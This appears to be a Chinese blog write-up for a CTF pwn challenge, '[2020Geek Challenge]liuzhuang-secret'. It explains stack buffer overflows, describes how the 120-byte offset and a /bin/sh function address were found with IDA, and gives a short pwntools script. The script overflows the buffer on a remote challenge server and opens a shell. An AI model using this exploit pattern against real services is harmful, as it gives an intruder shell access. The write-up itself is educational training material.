[2020Geek Challenge]liuzhuang-secret

本文最后修改于 263 天前,部分内容可能已经过时!

前言

本题布置在了我的复现平台(https://ctf.donstpast.cn/)
这道题应该就是这次极客大挑战中除了那两道白给分的题之外最简单的题了,一个极其简单的栈溢出题目。确实丝毫么得难度,不过栈溢出也是一个极其基础却又极其重要的点,所以在这稍微记录一点。

前置知识

栈介绍

栈是一种后进先出(Last In First Out)的数据结构,其操作有压栈(push)和出栈(pop)两种操作。程序的栈是从进程地址空间的高地址指向低地址的。

缓冲区溢出

缓冲区溢出就是大数据向小缓冲区复制,导致数据大小超出了小缓冲区所能承受的范围,导致缓冲区其他的数据遭到破坏。栈溢出是缓冲区溢出的一种最常见的形式。

32位程序和64位程序的简单区别

  • x86
  • 函数参数在函数返回地址的上方
  • x64
  • System V AMD64 ABI (Linux、FreeBSD、macOS 等采用) 中前六个整型或指>针参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,如果还有更多的参数的话才会保存在栈上。
  • 内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。

题目复现


拿到题目首先file发现是64位程序

之后传统艺术,checksec,发现只开了NX保护

那么就ida看程序了呀,64位ida打开,直接f5反编译看伪c代码

经典栈溢出,那么就要确定偏移量了

此时左下角对应sp0

直接对应到return地址,

此时对应so+78那么偏移量就是0x78了,转换为十进制为120

之后shift+f12查看字符串,发现了/bin/sh,那就更简单了


双击之后再点击sub_40076B,进入指向/bin/sh/的地址

那么/bin/sh/的地址就也找到了,此时,脚本也就出来了

from pwn import *
p=remote("101.132.117.190",10004)
bin_sh_addr=0x40079B
p.recvuntil("me?")
payload=b'a'*120+p64(bin_sh_addr)
p.sendline(payload)
p.interactive()
p.interactive()

运行之后获得flag,还是很简单的。

Tags:复现wpCTFPwn
上一篇
下一篇

添加新评论

召唤看板娘